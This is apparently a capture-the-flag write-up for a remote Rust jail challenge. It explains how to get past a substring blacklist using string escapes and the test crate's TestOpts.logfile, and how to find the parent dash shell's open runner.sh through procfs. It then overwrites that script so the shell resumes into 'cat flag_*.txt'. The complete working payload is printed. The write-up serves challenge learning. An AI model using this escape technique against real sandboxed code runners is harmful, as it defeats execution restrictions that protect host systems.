$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: a remote Rust jail compiles attacker code under a harsh substring blacklist, hiding the flag as a randomized file in the working directory. Solution: use test::TestOpts.logfile to reach safe PathBuf procfs primitives, find the parent shell's open runner.sh FD, then overwrite the script so dash resumes into `cat flag_*.txt` at the old EOF offset.
The original organizer prompt was not preserved in the provided files; the challenge was solved through the remote Rust jail service and local notes.
The service accepted a Rust payload over ncat --ssl, wrote it into src/main.rs, and executed cargo run with nightly 2025-09-25 and edition 2024. The goal was to escape the restrictions, discover the randomized flag_<32hex>.txt in the temporary working directory, and print its contents.
At runtime the working directory looked like /tmp/tmp_x/src and contained:
Cargo.tomlrunner.shwrapper.pyget_payload.pycargo_home/src/main.rsflag_<32hex>.txtThe filter was a simple Python substring blacklist over the Rust source. These raw substrings were banned:
unsafe, path, flag, std, alloc, core, include, impl, concat, macro, <, >, '
This is much weaker than an AST-based filter. It blocks exact text, not semantics, so string escapes like "\x66lag_*.txt" still produce the forbidden string at runtime.
The obvious read-file routes were cut off:
std::fs::* was impossible because std was blacklisted.libc::open was blocked because edition 2024 requires unsafe extern, and unsafe was blacklisted.include_* and #[path] were also blocked directly.The important positive discovery was that extern crate test; and #![feature(test)] still worked. That gave access to test::TestOpts, test::TestDescAndFn, and test::test_main.
Two key primitives came out of that:
"\x66lag_*.txt".PathBuf construction. test::TestOpts.logfile has type Option<PathBuf>, so writinglet p = test::TestOpts { logfile: Some("/proc/self/exe".into()), ..opts }.logfile.unwrap();
produced a safe path object without ever writing banned tokens like std or path in source. From there, safe methods such as read_link, read_dir, join, and metadata became available.
TestOpts.logfile and procfsUsing that indirect PathBuf, procfs reconnaissance revealed the real execution model:
/proc/self/exe -> /tmp/tmp_x/src/target/debug/rustjailpython3/usr/bin/dashFD 10 -> /tmp/tmp_x/src/runner.shThat immediately suggested a better target than the executable itself: the parent shell script that launched cargo run and was still open in dash.
The first serious exploitation idea was to overwrite target/debug/rustjail and then let the next spawned child execute modified content. On the real service that failed with:
Os { code: 26, kind: ExecutableFileBusy, message: "Text file busy" }
So direct self-overwrite hit ETXTBSY and was a dead end.
The winning pivot was to target runner.sh instead of target/debug/rustjail.
runner.sh workedtest::test_main --list --logfile <path> writes test output to the chosen file. Pointing --logfile at /proc/2/fd/10 effectively opened the parent shell's already-open runner.sh for writing. The crucial behavior was:
runner.sh was truncated and rewritten from byte 0;dash process kept its original open file descriptor and read position;cargo run returned, dash continued reading from that old descriptor.The original remote runner.sh size was 372 bytes. That meant the shell would resume reading at about the old EOF. So the rewritten file had to be longer than 372 bytes, with a valid shell command landing exactly where dash would continue.
test::test_main --list writes lines beginning with test . The final payload exploited that prefix: it used one giant first test name so that after the five-byte prefix, cat flag_*.txt started at the required location near byte offset 372. Two extra fallback lines of x;cat flag_*.txt were appended in case alignment drifted.
Once our Rust program exited, the parent shell resumed execution inside attacker-controlled bytes past the old EOF and ran cat flag_*.txt. The flag printed three times: once from the aligned hit and twice from the backup lines.
This was the final working payload from exploit_runner_offset.rs:
#![feature(test)] extern crate test; fn main() { let a = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName( format!("{}cat \x66lag_*.txt", "x".repeat(367)), ), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let b = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName("x;cat \x66lag_*.txt".to_string()), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let c = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName("x;cat \x66lag_*.txt".to_string()), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let v = vec![ "x".to_string(), "--list".to_string(), "--logfile".to_string(), "runner.sh".to_string(), ]; test::test_main(&v, vec![a, b, c], None); }
test::TestOpts.logfile to obtain a safe PathBuf indirectly.dash process holds runner.sh open as FD 10.target/debug/rustjail fails with ETXTBSY.test::test_main --list --logfile runner.sh to rewrite the script instead.cat flag_*.txt exactly where the shell resumes reading.cargo run finish; the parent shell continues into the injected command and prints the randomized flag file.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar